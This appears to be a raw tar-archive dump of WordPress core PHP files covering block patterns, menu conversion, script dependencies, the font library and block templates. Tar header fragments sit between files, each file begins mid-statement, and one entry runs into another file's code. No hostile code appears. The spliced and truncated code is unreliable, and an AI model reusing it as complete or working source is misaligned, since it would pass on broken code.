$this->registered_patterns_outside_init : $this->registered_patterns ); } /** * Checks if a block pattern is registered. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @return bool True if the pattern is registered, false otherwise. */ public function is_registered( $pattern_name ) { return isset( $this->registered_patterns[ $pattern_name ] ); } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 5.5.0 * * @return WP_Block_Patterns_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } /** * Registers a new block pattern. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @param array $pattern_properties List of properties for the block pattern. * See WP_Block_Patterns_Registry::register() for accepted arguments. * @return bool True if the pattern was registered with success and false otherwise. */ function register_block_pattern( $pattern_name, $pattern_properties ) { return WP_Block_Patterns_Registry::get_instance()->register( $pattern_name, $pattern_properties ); } /** * Unregisters a block pattern. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @return bool True if the pattern was unregistered with success and false otherwise. */ function unregister_block_pattern( $pattern_name ) { return WP_Block_Patterns_Registry::get_instance()->unregister( $pattern_name ); } class-wp-classic-to-block-menu-converter.php000064400000007770147177035010015124 0ustar00term_id, array( 'update_post_term_cache' => false ) ); if ( empty( $menu_items ) ) { return ''; } // Set up the $menu_item variables. // Adds the class property classes for the current context, if applicable. _wp_menu_item_classes_by_context( $menu_items ); $menu_items_by_parent_id = static::group_by_parent_id( $menu_items ); $first_menu_item = isset( $menu_items_by_parent_id[0] ) ? $menu_items_by_parent_id[0] : array(); $inner_blocks = static::to_blocks( $first_menu_item, $menu_items_by_parent_id ); return serialize_blocks( $inner_blocks ); } /** * Returns an array of menu items grouped by the id of the parent menu item. * * @since 6.3.0 * * @param array $menu_items An array of menu items. * @return array */ private static function group_by_parent_id( $menu_items ) { $menu_items_by_parent_id = array(); foreach ( $menu_items as $menu_item ) { $menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item; } return $menu_items_by_parent_id; } /** * Turns menu item data into a nested array of parsed blocks * * @since 6.3.0 * * @param array $menu_items An array of menu items that represent * an individual level of a menu. * @param array $menu_items_by_parent_id An array keyed by the id of the * parent menu where each element is an * array of menu items that belong to * that parent. * @return array An array of parsed block data. */ private static function to_blocks( $menu_items, $menu_items_by_parent_id ) { if ( empty( $menu_items ) ) { return array(); } $blocks = array(); foreach ( $menu_items as $menu_item ) { $class_name = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null; $id = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null; $opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target; $rel = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null; $kind = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom'; $block = array( 'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link', 'attrs' => array( 'className' => $class_name, 'description' => $menu_item->description, 'id' => $id, 'kind' => $kind, 'label' => $menu_item->title, 'opensInNewTab' => $opens_in_new_tab, 'rel' => $rel, 'title' => $menu_item->attr_title, 'type' => $menu_item->object, 'url' => $menu_item->url, ), ); $block['innerBlocks'] = isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? static::to_blocks( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id ) : array(); $block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] ); $blocks[] = $block; } return $blocks; } } class-wp-dependency.php000064400000004717147177035010011140 0ustar00handle, $this->src, $this->deps, $this->ver, $this->args ) = $args; if ( ! is_array( $this->deps ) ) { $this->deps = array(); } } /** * Add handle data. * * @since 2.6.0 * * @param string $name The data key to add. * @param mixed $data The data value to add. * @return bool False if not scalar, true otherwise. */ public function add_data( $name, $data ) { if ( ! is_scalar( $name ) ) { return false; } $this->extra[ $name ] = $data; return true; } /** * Sets the translation domain for this dependency. * * @since 5.0.0 * * @param string $domain The translation textdomain. * @param string $path Optional. The full file path to the directory containing translation files. * @return bool False if $domain is not a string, true otherwise. */ public function set_translations( $domain, $path = null ) { if ( ! is_string( $domain ) ) { return false; } $this->textdomain = $domain; $this->translations_path = $path; return true; } } class-http.php000064400000000565147177035010007352 0ustar00generate_and_print( $fonts ); } /** * Generates and prints font-face styles defined the the theme style variations. * * @since 6.7.0 * */ function wp_print_font_faces_from_style_variations() { $fonts = WP_Font_Face_Resolver::get_fonts_from_style_variations(); if ( empty( $fonts ) ) { return; } wp_print_font_faces( $fonts ); } /** * Registers a new font collection in the font library. * * See {@link https://schemas.wp.org/trunk/font-collection.json} for the schema * the font collection data must adhere to. * * @since 6.5.0 * * @param string $slug Font collection slug. May only contain alphanumeric characters, dashes, * and underscores. See sanitize_title(). * @param array $args { * Font collection data. * * @type string $name Required. Name of the font collection shown in the Font Library. * @type string $description Optional. A short descriptive summary of the font collection. Default empty. * @type array|string $font_families Required. Array of font family definitions that are in the collection, * or a string containing the path or URL to a JSON file containing the font collection. * @type array $categories Optional. Array of categories, each with a name and slug, that are used by the * fonts in the collection. Default empty. * } * @return WP_Font_Collection|WP_Error A font collection if it was registered * successfully, or WP_Error object on failure. */ function wp_register_font_collection( string $slug, array $args ) { return WP_Font_Library::get_instance()->register_font_collection( $slug, $args ); } /** * Unregisters a font collection from the Font Library. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection was unregistered successfully, else false. */ function wp_unregister_font_collection( string $slug ) { return WP_Font_Library::get_instance()->unregister_font_collection( $slug ); } /** * Retrieves font uploads directory information. * * Same as wp_font_dir() but "light weight" as it doesn't attempt to create the font uploads directory. * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases * when not uploading files. * * @since 6.5.0 * * @see wp_font_dir() * * @return array See wp_font_dir() for description. */ function wp_get_font_dir() { return wp_font_dir( false ); } /** * Returns an array containing the current fonts upload directory's path and URL. * * @since 6.5.0 * * @param bool $create_dir Optional. Whether to check and create the font uploads directory. Default true. * @return array { * Array of information about the font upload directory. * * @type string $path Base directory and subdirectory or full path to the fonts upload directory. * @type string $url Base URL and subdirectory or absolute URL to the fonts upload directory. * @type string $subdir Subdirectory * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ function wp_font_dir( $create_dir = true ) { /* * Allow extenders to manipulate the font directory consistently. * * Ensures the upload_dir filter is fired both when calling this function * directly and when the upload directory is filtered in the Font Face * REST API endpoint. */ add_filter( 'upload_dir', '_wp_filter_font_directory' ); $font_dir = wp_upload_dir( null, $create_dir, false ); remove_filter( 'upload_dir', '_wp_filter_font_directory' ); return $font_dir; } /** * A callback function for use in the {@see 'upload_dir'} filter. * * This function is intended for internal use only and should not be used by plugins and themes. * Use wp_get_font_dir() instead. * * @since 6.5.0 * @access private * * @param string $font_dir The font directory. * @return string The modified font directory. */ function _wp_filter_font_directory( $font_dir ) { if ( doing_filter( 'font_dir' ) ) { // Avoid an infinite loop. return $font_dir; } $font_dir = array( 'path' => untrailingslashit( $font_dir['basedir'] ) . '/fonts', 'url' => untrailingslashit( $font_dir['baseurl'] ) . '/fonts', 'subdir' => '', 'basedir' => untrailingslashit( $font_dir['basedir'] ) . '/fonts', 'baseurl' => untrailingslashit( $font_dir['baseurl'] ) . '/fonts', 'error' => false, ); /** * Filters the fonts directory data. * * This filter allows developers to modify the fonts directory data. * * @since 6.5.0 * * @param array $font_dir { * Array of information about the font upload directory. * * @type string $path Base directory and subdirectory or full path to the fonts upload directory. * @type string $url Base URL and subdirectory or absolute URL to the fonts upload directory. * @type string $subdir Subdirectory * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ return apply_filters( 'font_dir', $font_dir ); } /** * Deletes child font faces when a font family is deleted. * * @access private * @since 6.5.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. */ function _wp_after_delete_font_family( $post_id, $post ) { if ( 'wp_font_family' !== $post->post_type ) { return; } $font_faces = get_children( array( 'post_parent' => $post_id, 'post_type' => 'wp_font_face', ) ); foreach ( $font_faces as $font_face ) { wp_delete_post( $font_face->ID, true ); } } /** * Deletes associated font files when a font face is deleted. * * @access private * @since 6.5.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. */ function _wp_before_delete_font_face( $post_id, $post ) { if ( 'wp_font_face' !== $post->post_type ) { return; } $font_files = get_post_meta( $post_id, '_wp_font_face_file', false ); $font_dir = untrailingslashit( wp_get_font_dir()['basedir'] ); foreach ( $font_files as $font_file ) { wp_delete_file( $font_dir . '/' . $font_file ); } } /** * Register the default font collections. * * @access private * @since 6.5.0 */ function _wp_register_default_font_collections() { wp_register_font_collection( 'google-fonts', array( 'name' => _x( 'Google Fonts', 'font collection name' ), 'description' => __( 'Install from Google Fonts. Fonts are copied to and served from your site.' ), 'font_families' => 'https://s.w.org/images/fonts/wp-6.7/collections/google-fonts-with-preview.json', 'categories' => array( array( 'name' => _x( 'Sans Serif', 'font category' ), 'slug' => 'sans-serif', ), array( 'name' => _x( 'Display', 'font category' ), 'slug' => 'display', ), array( 'name' => _x( 'Serif', 'font category' ), 'slug' => 'serif', ), array( 'name' => _x( 'Handwriting', 'font category' ), 'slug' => 'handwriting', ), array( 'name' => _x( 'Monospace', 'font category' ), 'slug' => 'monospace', ), ), ) ); } class-wp-scripts.php000064400000067270147177035010010514 0ustar00init(); add_action( 'init', array( $this, 'init' ), 0 ); } /** * Initialize the class. * * @since 3.4.0 */ public function init() { /** * Fires when the WP_Scripts instance is initialized. * * @since 2.6.0 * * @param WP_Scripts $wp_scripts WP_Scripts instance (passed by reference). */ do_action_ref_array( 'wp_default_scripts', array( &$this ) ); } /** * Prints scripts. * * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies. * * @since 2.1.0 * @since 2.8.0 Added the `$group` parameter. * * @param string|string[]|false $handles Optional. Scripts to be printed: queue (false), * single script (string), or multiple scripts (array of strings). * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return string[] Handles of scripts that have been printed. */ public function print_scripts( $handles = false, $group = false ) { return $this->do_items( $handles, $group ); } /** * Prints extra scripts of a registered script. * * @since 2.1.0 * @since 2.8.0 Added the `$display` parameter. * @deprecated 3.3.0 * * @see print_extra_script() * * @param string $handle The script's registered handle. * @param bool $display Optional. Whether to print the extra script * instead of just returning it. Default true. * @return bool|string|void Void if no data exists, extra scripts if `$display` is true, * true otherwise. */ public function print_scripts_l10n( $handle, $display = true ) { _deprecated_function( __FUNCTION__, '3.3.0', 'WP_Scripts::print_extra_script()' ); return $this->print_extra_script( $handle, $display ); } /** * Prints extra scripts of a registered script. * * @since 3.3.0 * * @param string $handle The script's registered handle. * @param bool $display Optional. Whether to print the extra script * instead of just returning it. Default true. * @return bool|string|void Void if no data exists, extra scripts if `$display` is true, * true otherwise. */ public function print_extra_script( $handle, $display = true ) { $output = $this->get_data( $handle, 'data' ); if ( ! $output ) { return; } if ( ! $display ) { return $output; } wp_print_inline_script_tag( $output, array( 'id' => "{$handle}-js-extra" ) ); return true; } /** * Checks whether all dependents of a given handle are in the footer. * * If there are no dependents, this is considered the same as if all dependents were in the footer. * * @since 6.4.0 * * @param string $handle Script handle. * @return bool Whether all dependents are in the footer. */ private function are_all_dependents_in_footer( $handle ) { foreach ( $this->get_dependents( $handle ) as $dep ) { if ( isset( $this->groups[ $dep ] ) && 0 === $this->groups[ $dep ] ) { return false; } } return true; } /** * Processes a script dependency. * * @since 2.6.0 * @since 2.8.0 Added the `$group` parameter. * * @see WP_Dependencies::do_item() * * @param string $handle The script's registered handle. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function do_item( $handle, $group = false ) { if ( ! parent::do_item( $handle ) ) { return false; } if ( 0 === $group && $this->groups[ $handle ] > 0 ) { $this->in_footer[] = $handle; return false; } if ( false === $group && in_array( $handle, $this->in_footer, true ) ) { $this->in_footer = array_diff( $this->in_footer, (array) $handle ); } $obj = $this->registered[ $handle ]; if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset( $this->args[ $handle ] ) ) { $ver = $ver ? $ver . '&' . $this->args[ $handle ] : $this->args[ $handle ]; } $src = $obj->src; $strategy = $this->get_eligible_loading_strategy( $handle ); $intended_strategy = (string) $this->get_data( $handle, 'strategy' ); $ie_conditional_prefix = ''; $ie_conditional_suffix = ''; $conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : ''; if ( ! $this->is_delayed_strategy( $intended_strategy ) ) { $intended_strategy = ''; } /* * Move this script to the footer if: * 1. The script is in the header group. * 2. The current output is the header. * 3. The intended strategy is delayed. * 4. The actual strategy is not delayed. * 5. All dependent scripts are in the footer. */ if ( 0 === $group && 0 === $this->groups[ $handle ] && $intended_strategy && ! $this->is_delayed_strategy( $strategy ) && $this->are_all_dependents_in_footer( $handle ) ) { $this->in_footer[] = $handle; return false; } if ( $conditional ) { $ie_conditional_prefix = "\n"; } $before_script = $this->get_inline_script_tag( $handle, 'before' ); $after_script = $this->get_inline_script_tag( $handle, 'after' ); if ( $before_script || $after_script ) { $inline_script_tag = $ie_conditional_prefix . $before_script . $after_script . $ie_conditional_suffix; } else { $inline_script_tag = ''; } /* * Prevent concatenation of scripts if the text domain is defined * to ensure the dependency order is respected. */ $translations_stop_concat = ! empty( $obj->textdomain ); $translations = $this->print_translations( $handle, false ); if ( $translations ) { $translations = wp_get_inline_script_tag( $translations, array( 'id' => "{$handle}-js-translations" ) ); } if ( $this->do_concat ) { /** * Filters the script loader source. * * @since 2.2.0 * * @param string $src Script loader source path. * @param string $handle Script handle. */ $filtered_src = apply_filters( 'script_loader_src', $src, $handle ); if ( $this->in_default_dir( $filtered_src ) && ( $before_script || $after_script || $translations_stop_concat || $this->is_delayed_strategy( $strategy ) ) ) { $this->do_concat = false; // Have to print the so-far concatenated scripts right away to maintain the right order. _print_scripts(); $this->reset(); } elseif ( $this->in_default_dir( $filtered_src ) && ! $conditional ) { $this->print_code .= $this->print_extra_script( $handle, false ); $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; return true; } else { $this->ext_handles .= "$handle,"; $this->ext_version .= "$handle$ver"; } } $has_conditional_data = $conditional && $this->get_data( $handle, 'data' ); if ( $has_conditional_data ) { echo $ie_conditional_prefix; } $this->print_extra_script( $handle ); if ( $has_conditional_data ) { echo $ie_conditional_suffix; } // A single item may alias a set of items, by having dependencies, but no source. if ( ! $src ) { if ( $inline_script_tag ) { if ( $this->do_concat ) { $this->print_html .= $inline_script_tag; } else { echo $inline_script_tag; } } return true; } if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && str_starts_with( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } if ( ! empty( $ver ) ) { $src = add_query_arg( 'ver', $ver, $src ); } /** This filter is documented in wp-includes/class-wp-scripts.php */ $src = esc_url_raw( apply_filters( 'script_loader_src', $src, $handle ) ); if ( ! $src ) { return true; } $attr = array( 'src' => $src, 'id' => "{$handle}-js", ); if ( $strategy ) { $attr[ $strategy ] = true; } if ( $intended_strategy ) { $attr['data-wp-strategy'] = $intended_strategy; } $tag = $translations . $ie_conditional_prefix . $before_script; $tag .= wp_get_script_tag( $attr ); $tag .= $after_script . $ie_conditional_suffix; /** * Filters the HTML script tag of an enqueued script. * * @since 4.1.0 * * @param string $tag The ` 'block-templates', 'wp_template_part' => 'block-template-parts', ); } return array( 'wp_template' => 'templates', 'wp_template_part' => 'parts', ); } /** * Returns a filtered list of allowed area values for template parts. * * @since 5.9.0 * * @return array The supported template part area values. */ function get_allowed_block_template_part_areas() { $default_area_definitions = array( array( 'area' => WP_TEMPLATE_PART_AREA_UNCATEGORIZED, 'label' => __( 'General' ), 'description' => __( 'General templates often perform a specific role like displaying post content, and are not tied to any particular area.' ), 'icon' => 'layout', 'area_tag' => 'div', ), array( 'area' => WP_TEMPLATE_PART_AREA_HEADER, 'label' => __( 'Header' ), 'description' => __( 'The Header template defines a page area that typically contains a title, logo, and main navigation.' ), 'icon' => 'header', 'area_tag' => 'header', ), array( 'area' => WP_TEMPLATE_PART_AREA_FOOTER, 'label' => __( 'Footer' ), 'description' => __( 'The Footer template defines a page area that typically contains site credits, social links, or any other combination of blocks.' ), 'icon' => 'footer', 'area_tag' => 'footer', ), ); /** * Filters the list of allowed template part area values. * * @since 5.9.0 * * @param array $default_area_definitions An array of supported area objects. */ return apply_filters( 'default_wp_template_part_areas', $default_area_definitions ); } /** * Returns a filtered list of default template types, containing their * localized titles and descriptions. * * @since 5.9.0 * * @return array The default template types. */ function get_default_block_template_types() { $default_template_types = array( 'index' => array( 'title' => _x( 'Index', 'Template name' ), 'description' => __( 'Displays posts.' ), ), 'home' => array( 'title' => _x( 'Home', 'Template name' ), 'description' => __( 'Displays posts on the homepage, or on the Posts page if a static homepage is set.' ), ), 'front-page' => array( 'title' => _x( 'Front Page', 'Template name' ), 'description' => __( 'Displays the homepage.' ), ), 'singular' => array( 'title' => _x( 'Singular', 'Template name' ), 'description' => __( 'Displays a single post or page.' ), ), 'single' => array( 'title' => _x( 'Single Post', 'Template name' ), 'description' => __( 'Displays a single post.' ), ), 'page' => array( 'title' => _x( 'Page', 'Template name' ), 'description' => __( 'Displays a single page.' ), ), 'archive' => array( 'title' => _x( 'Archive', 'Template name' ), 'description' => __( 'Displays post categories, tags, and other archives.' ), ), 'author' => array( 'title' => _x( 'Author', 'Template name' ), 'description' => __( 'Displays latest posts written by a single author.' ), ), 'category' => array( 'title' => _x( 'Category', 'Template name' ), 'description' => __( 'Displays latest posts in single post category.' ), ), 'taxonomy' => array( 'title' => _x( 'Taxonomy', 'Template name' ), 'description' => __( 'Displays latest posts from a single post taxonomy.' ), ), 'date' => array( 'title' => _x( 'Date', 'Template name' ), 'description' => __( 'Displays posts from a specific date.' ), ), 'tag' => array( 'title' => _x( 'Tag', 'Template name' ), 'description' => __( 'Displays latest posts with a single post tag.' ), ), 'attachment' => array( 'title' => __( 'Media' ), 'description' => __( 'Displays individual media items or attachments.' ), ), 'search' => array( 'title' => _x( 'Search', 'Template name' ), 'description' => __( 'Displays search results.' ), ), 'privacy-policy' => array( 'title' => __( 'Privacy Policy' ), 'description' => __( 'Displays the privacy policy page.' ), ), '404' => array( 'title' => _x( '404', 'Template name' ), 'description' => __( 'Displays when no content is found.' ), ), ); /** * Filters the list of template types. * * @since 5.9.0 * * @param array $default_template_types An array of template types, formatted as [ slug => [ title, description ] ]. */ return apply_filters( 'default_template_types', $default_template_types ); } /** * Checks whether the input 'area' is a supported value. * Returns the input if supported, otherwise returns the 'uncategorized' value. * * @since 5.9.0 * @access private * * @param string $type Template part area name. * * @return string Input if supported, else the uncategorized value. */ function _filter_block_template_part_area( $type ) { $allowed_areas = array_map( static function ( $item ) { return $item['area']; }, get_allowed_block_template_part_areas() ); if ( in_array( $type, $allowed_areas, true ) ) { return $type; } $warning_message = sprintf( /* translators: %1$s: Template area type, %2$s: the uncategorized template area value. */ __( '"%1$s" is not a supported wp_template_part area value and has been added as "%2$s".' ), $type, WP_TEMPLATE_PART_AREA_UNCATEGORIZED ); trigger_error( $warning_message, E_USER_NOTICE ); return WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } /** * Finds all nested template part file paths in a theme's directory. * * @since 5.9.0 * @access private * * @param string $base_directory The theme's file path. * @return array A list of paths to all template part files. */ function _get_block_templates_paths( $base_directory ) { $path_list = array(); if ( file_exists( $base_directory ) ) { $nested_files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $base_directory ) ); $nested_html_files = new RegexIterator( $nested_files, '/^.+\.html$/i', RecursiveRegexIterator::GET_MATCH ); foreach ( $nested_html_files as $path => $file ) { $path_list[] = $path; } } return $path_list; } /** * Retrieves the template file from the theme for a given slug. * * @since 5.9.0 * @access private * * @param string $template_type 'wp_template' or 'wp_template_part'. * @param string $slug Template slug. * * @return array|null Template. */ function _get_block_template_file( $template_type, $slug ) { if ( 'wp_template' !== $template_type && 'wp_template_part' !== $template_type ) { return null; } $themes = array( get_stylesheet() => get_stylesheet_directory(), get_template() => get_template_directory(), ); foreach ( $themes as $theme_slug => $theme_dir ) { $template_base_paths = get_block_theme_folders( $theme_slug ); $file_path = $theme_dir . '/' . $template_base_paths[ $template_type ] . '/' . $slug . '.html'; if ( file_exists( $file_path ) ) { $new_template_item = array( 'slug' => $slug, 'path' => $file_path, 'theme' => $theme_slug, 'type' => $template_type, ); if ( 'wp_template_part' === $template_type ) { return _add_block_template_part_area_info( $new_template_item ); } if ( 'wp_template' === $template_type ) { return _add_block_template_info( $new_template_item ); } return $new_template_item; } } return null; } /** * Retrieves the template files from the theme. * * @since 5.9.0 * @access private * * @param string $template_type 'wp_template' or 'wp_template_part'. * * @return array Template. */ function _get_block_templates_files( $template_type ) { if ( 'wp_template' !== $template_type && 'wp_template_part' !== $template_type ) { return null; } $themes = array( get_stylesheet() => get_stylesheet_directory(), get_template() => get_template_directory(), ); $template_files = array(); foreach ( $themes as $theme_slug => $theme_dir ) { $template_base_paths = get_block_theme_folders( $theme_slug ); $theme_template_files = _get_block_templates_paths( $theme_dir . '/' . $template_base_paths[ $template_type ] ); foreach ( $theme_template_files as $template_file ) { $template_base_path = $template_base_paths[ $template_type ]; $template_slug = substr( $template_file, // Starting position of slug. strpos( $template_file, $template_base_path . DIRECTORY_SEPARATOR ) + 1 + strlen( $template_base_path ), // Subtract ending '.html'. -5 ); $new_template_item = array( 'slug' => $template_slug, 'path' => $template_file, 'theme' => $theme_slug, 'type' => $template_type, ); if ( 'wp_template_part' === $template_type ) { $template_files[] = _add_block_template_part_area_info( $new_template_item ); } if ( 'wp_template' === $template_type ) { $template_files[] = _add_block_template_info( $new_template_item ); } } } return $template_files; } /** * Attempts to add custom template information to the template item. * * @since 5.9.0 * @access private * * @param array $template_item Template to add information to (requires 'slug' field). * @return array Template item. */ function _add_block_template_info( $template_item ) { if ( ! WP_Theme_JSON_Resolver::theme_has_support() ) { return $template_item; } $theme_data = WP_Theme_JSON_Resolver::get_theme_data()->get_custom_templates(); if ( isset( $theme_data[ $template_item['slug'] ] ) ) { $template_item['title'] = $theme_data[ $template_item['slug'] ]['title']; $template_item['postTypes'] = $theme_data[ $template_item['slug'] ]['postTypes']; } return $template_item; } /** * Attempts to add the template part's area information to the input template. * * @since 5.9.0 * @access private * * @param array $template_info Template to add information to (requires 'type' and 'slug' fields). * * @return array Template info. */ function _add_block_template_part_area_info( $template_info ) { if ( WP_Theme_JSON_Resolver::theme_has_support() ) { $theme_data = WP_Theme_JSON_Resolver::get_theme_data()->get_template_parts(); } if ( isset( $theme_data[ $template_info['slug'] ]['area'] ) ) { $template_info['title'] = $theme_data[ $template_info['slug'] ]['title']; $template_info['area'] = _filter_block_template_part_area( $theme_data[ $template_info['slug'] ]['area'] ); } else { $template_info['area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } return $template_info; } /** * Returns an array containing the references of * the passed blocks and their inner blocks. * * @since 5.9.0 * @access private * * @param array $blocks array of blocks. * * @return array block references to the passed blocks and their inner blocks. */ function _flatten_blocks( &$blocks ) { $all_blocks = array(); $queue = array(); foreach ( $blocks as &$block ) { $queue[] = &$block; } while ( count( $queue ) > 0 ) { $block = &$queue[0]; array_shift( $queue ); $all_blocks[] = &$block; if ( ! empty( $block['innerBlocks'] ) ) { foreach ( $block['innerBlocks'] as &$inner_block ) { $queue[] = &$inner_block; } } } return $all_blocks; } /** * Parses wp_template content and injects the active theme's * stylesheet as a theme attribute into each wp_template_part * * @since 5.9.0 * @access private * * @param string $template_content serialized wp_template content. * * @return string Updated 'wp_template' content. */ function _inject_theme_attribute_in_block_template_content( $template_content ) { $has_updated_content = false; $new_content = ''; $template_blocks = parse_blocks( $template_content ); $blocks = _flatten_blocks( $template_blocks ); foreach ( $blocks as &$block ) { if ( 'core/template-part' === $block['blockName'] && ! isset( $block['attrs']['theme'] ) ) { $block['attrs']['theme'] = wp_get_theme()->get_stylesheet(); $has_updated_content = true; } } if ( $has_updated_content ) { foreach ( $template_blocks as &$block ) { $new_content .= serialize_block( $block ); } return $new_content; } return $template_content; } /** * Parses a block template and removes the theme attribute from each template part. * * @since 5.9.0 * @access private * * @param string $template_content Serialized block template content. * @return string Updated block template content. */ function _remove_theme_attribute_in_block_template_content( $template_content ) { $has_updated_content = false; $new_content = ''; $template_blocks = parse_blocks( $template_content ); $blocks = _flatten_blocks( $template_blocks ); foreach ( $blocks as $key => $block ) { if ( 'core/template-part' === $block['blockName'] && isset( $block['attrs']['theme'] ) ) { unset( $blocks[ $key ]['attrs']['theme'] ); $has_updated_content = true; } } if ( ! $has_updated_content ) { return $template_content; } foreach ( $template_blocks as $block ) { $new_content .= serialize_block( $block ); } return $new_content; } /** * Build a unified template object based on a theme file. * * @since 5.9.0 * @access private * * @param array $template_file Theme file. * @param string $template_type 'wp_template' or 'wp_template_part'. * * @return WP_Block_Template Template. */ function _build_block_template_result_from_file( $template_file, $template_type ) { $default_template_types = get_default_block_template_types(); $template_content = file_get_contents( $template_file['path'] ); $theme = wp_get_theme()->get_stylesheet(); $template = new WP_Block_Template(); $template->id = $theme . '//' . $template_file['slug']; $template->theme = $theme; $template->content = _inject_theme_attribute_in_block_template_content( $template_content ); $template->slug = $template_file['slug']; $template->source = 'theme'; $template->type = $template_type; $template->title = ! empty( $template_file['title'] ) ? $template_file['title'] : $template_file['slug']; $template->status = 'publish'; $template->has_theme_file = true; $template->is_custom = true; if ( 'wp_template' === $template_type && isset( $default_template_types[ $template_file['slug'] ] ) ) { $template->description = $default_template_types[ $template_file['slug'] ]['description']; $template->title = $default_template_types[ $template_file['slug'] ]['title']; $template->is_custom = false; } if ( 'wp_template' === $template_type && isset( $template_file['postTypes'] ) ) { $template->post_types = $template_file['postTypes']; } if ( 'wp_template_part' === $template_type && isset( $template_file['area'] ) ) { $template->area = $template_file['area']; } return $template; } /** * Build a unified template object based a post Object. * * @since 5.9.0 * @access private * * @param WP_Post $post Template post. * * @return WP_Block_Template|WP_Error Template. */ function _build_block_template_result_from_post( $post ) { $default_template_types = get_default_block_template_types(); $terms = get_the_terms( $post, 'wp_theme' ); if ( is_wp_error( $terms ) ) { return $terms; } if ( ! $terms ) { return new WP_Error( 'template_missing_theme', __( 'No theme is defined for this template.' ) ); } $theme = $terms[0]->name; $has_theme_file = wp_get_theme()->get_stylesheet() === $theme && null !== _get_block_template_file( $post->post_type, $post->post_name ); $origin = get_post_meta( $post->ID, 'origin', true ); $template = new WP_Block_Template(); $template->wp_id = $post->ID; $template->id = $theme . '//' . $post->post_name; $template->theme = $theme; $template->content = $post->post_content; $template->slug = $post->post_name; $template->source = 'custom'; $template->origin = ! empty( $origin ) ? $origin : null; $template->type = $post->post_type; $template->description = $post->post_excerpt; $template->title = $post->post_title; $template->status = $post->post_status; $template->has_theme_file = $has_theme_file; $template->is_custom = true; $template->author = $post->post_author; if ( 'wp_template' === $post->post_type && isset( $default_template_types[ $template->slug ] ) ) { $template->is_custom = false; } if ( 'wp_template_part' === $post->post_type ) { $type_terms = get_the_terms( $post, 'wp_template_part_area' ); if ( ! is_wp_error( $type_terms ) && false !== $type_terms ) { $template->area = $type_terms[0]->name; } } return $template; } /** * Retrieves a list of unified template objects based on a query. * * @since 5.8.0 * * @param array $query { * Optional. Arguments to retrieve templates. * * @type array $slug__in List of slugs to include. * @type int $wp_id Post ID of customized template. * @type string $area A 'wp_template_part_area' taxonomy value to filter by (for wp_template_part template type only). * @type string $post_type Post type to get the templates for. * } * @param string $template_type 'wp_template' or 'wp_template_part'. * * @return array Templates. */ function get_block_templates( $query = array(), $template_type = 'wp_template' ) { /** * Filters the block templates array before the query takes place. * * Return a non-null value to bypass the WordPress queries. * * @since 5.9.0 * * @param WP_Block_Template[]|null $block_templates Return an array of block templates to short-circuit the default query, * or null to allow WP to run it's normal queries. * @param array $query { * Optional. Arguments to retrieve templates. * * @type array $slug__in List of slugs to include. * @type int $wp_id Post ID of customized template. * @type string $post_type Post type to get the templates for. * } * @param string $template_type wp_template or wp_template_part. */ $templates = apply_filters( 'pre_get_block_templates', null, $query, $template_type ); if ( ! is_null( $templates ) ) { return $templates; } $post_type = isset( $query['post_type'] ) ? $query['post_type'] : ''; $wp_query_args = array( 'post_status' => array( 'auto-draft', 'draft', 'publish' ), 'post_type' => $template_type, 'posts_per_page' => -1, 'no_found_rows' => true, 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => wp_get_theme()->get_stylesheet(), ), ), ); if ( 'wp_template_part' === $template_type && isset( $query['area'] ) ) { $wp_query_args['tax_query'][] = array( 'taxonomy' => 'wp_template_part_area', 'field' => 'name', 'terms' => $query['area'], ); $wp_query_args['tax_query']['relation'] = 'AND'; } if ( isset( $query['slug__in'] ) ) { $wp_query_args['post_name__in'] = $query['slug__in']; } // This is only needed for the regular templates/template parts post type listing and editor. if ( isset( $query['wp_id'] ) ) { $wp_query_args['p'] = $query['wp_id']; } else { $wp_query_args['post_status'] = 'publish'; } $template_query = new WP_Query( $wp_query_args ); $query_result = array(); foreach ( $template_query->posts as $post ) { $template = _build_block_template_result_from_post( $post ); if ( is_wp_error( $template ) ) { continue; } if ( $post_type && ! $template->is_custom ) { continue; } $query_result[] = $template; } if ( ! isset( $query['wp_id'] ) ) { $template_files = _get_block_templates_files( $template_type ); foreach ( $template_files as $template_file ) { $template = _build_block_template_result_from_file( $template_file, $template_type ); if ( $post_type && ! $template->is_custom ) { continue; } if ( $post_type && isset( $template->post_types ) && ! in_array( $post_type, $template->post_types, true ) ) { continue; } $is_not_custom = false 